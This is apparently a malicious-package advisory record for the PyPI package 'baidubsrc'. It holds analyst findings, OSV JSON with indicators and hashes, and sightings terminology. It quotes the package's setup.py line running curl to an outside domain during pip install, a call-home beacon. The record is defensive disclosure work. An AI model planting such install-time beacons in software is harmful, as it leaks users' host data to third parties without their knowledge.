mal-2026-4809
Vulnerability from ossf_malicious_packages
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Source: amazon-inspector (e303b294e3a8f77fdfa91935af2cd5828572f5ab5ec2f0e0b34a0136e33d70dd)
setup.py executes os.system("curl xiangyangt.com/pypi") unconditionally during pip install. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.
Source: kam193 (70342acb0742af0305c096283134cfa09133c44ff24030993e4468c96e9021cc)
During installation, package calls home, and there is no other functionality.
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
-
The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
-
The package overrides the install command in setup.py to execute malicious code during installation.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"domains": [
"xiangyangt.com"
],
"evidence_files": [
{
"path": "setup.py",
"sha256": "72c8d64ee57380a52dbe0f588800c3a93010e96b8ca880e47be5e355def45fa9",
"tlsh": "e1d02ea14e4222a994c0ac1a2d95380202286d633e20e1c8b3c64b242b491ebab7b679"
}
],
"package_integrity": [
{
"filename": "baidubsrc-0.0.1-py3-none-any.whl",
"hashes": {
"blake2b_256": "b960331bddc93619bb76c0e44ac7c37b57845a07de824b1590ceb0758113cbb1",
"md5": "d87c9c373207730322ddd06b3ab633a1",
"sha256": "985ada2bb71018594b9b1b944dd6f9f326ef0914c08804d7a39abe8e7bc0a39d"
}
},
{
"filename": "baidubsrc-0.0.1.tar.gz",
"hashes": {
"blake2b_256": "e64910c19329175a3183b844480d2fb212ddd844be8c4940e0667d71ba8baa67",
"md5": "0075be1d16a6c98c8d67bb089a687286",
"sha256": "2cdd3074e5efed03318366f2567cd7a4ffc391e8ae01fa4eab4ef153ea5b7280"
}
}
]
}
},
"package": {
"ecosystem": "PyPI",
"name": "baidubsrc"
},
"versions": [
"0.0.1"
]
}
],
"credits": [
{
"contact": [
"actran@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
},
{
"contact": [
"https://github.com/kam193",
"https://bad-packages.kam193.eu/"
],
"name": "Kamil Ma\u0144kowski (kam193)",
"type": "ANALYST"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-004909",
"import_time": "2026-05-26T13:32:46.899109904Z",
"modified_time": "2026-05-26T13:08:42Z",
"sha256": "601a0198fee420c15f127c695a251ac5fb2433357e0a24f146bc8c3cac8a5c77",
"source": "amazon-inspector",
"versions": [
"0.0.1"
]
},
{
"id": "IN-MAL-2026-004908",
"import_time": "2026-05-26T13:32:46.837330409Z",
"modified_time": "2026-05-26T13:07:47Z",
"sha256": "e303b294e3a8f77fdfa91935af2cd5828572f5ab5ec2f0e0b34a0136e33d70dd",
"source": "amazon-inspector",
"versions": [
"0.0.1"
]
},
{
"id": "pypi/GENERIC-standard-pypi-install-pentest/baidubsrc",
"import_time": "2026-05-26T22:55:25.019349347Z",
"modified_time": "2026-05-26T22:06:08.515385Z",
"sha256": "70342acb0742af0305c096283134cfa09133c44ff24030993e4468c96e9021cc",
"source": "kam193",
"versions": [
"0.0.1"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e303b294e3a8f77fdfa91935af2cd5828572f5ab5ec2f0e0b34a0136e33d70dd)\nsetup.py executes `os.system(\"curl xiangyangt.com/pypi\")` unconditionally during `pip install`. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer\u0027s IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author=\"demo\", description \"A demo pip package\") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.\n\n## Source: kam193 (70342acb0742af0305c096283134cfa09133c44ff24030993e4468c96e9021cc)\nDuring installation, package calls home, and there is no other functionality.\n\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research \u0026 co, with clearly low-harm possibilities.\n\n\nCampaign: GENERIC-standard-pypi-install-pentest\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n",
"id": "MAL-2026-4809",
"modified": "2026-05-26T22:57:06Z",
"published": "2026-05-26T13:07:47Z",
"references": [
{
"type": "PACKAGE",
"url": "https://pypi.org/project/baidubsrc/0.0.1/"
},
{
"type": "WEB",
"url": "https://bad-packages.kam193.eu/pypi/package/baidubsrc"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in baidubsrc (PyPI)"
}
Sightings
| Author | Source | Type | Date | Other |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.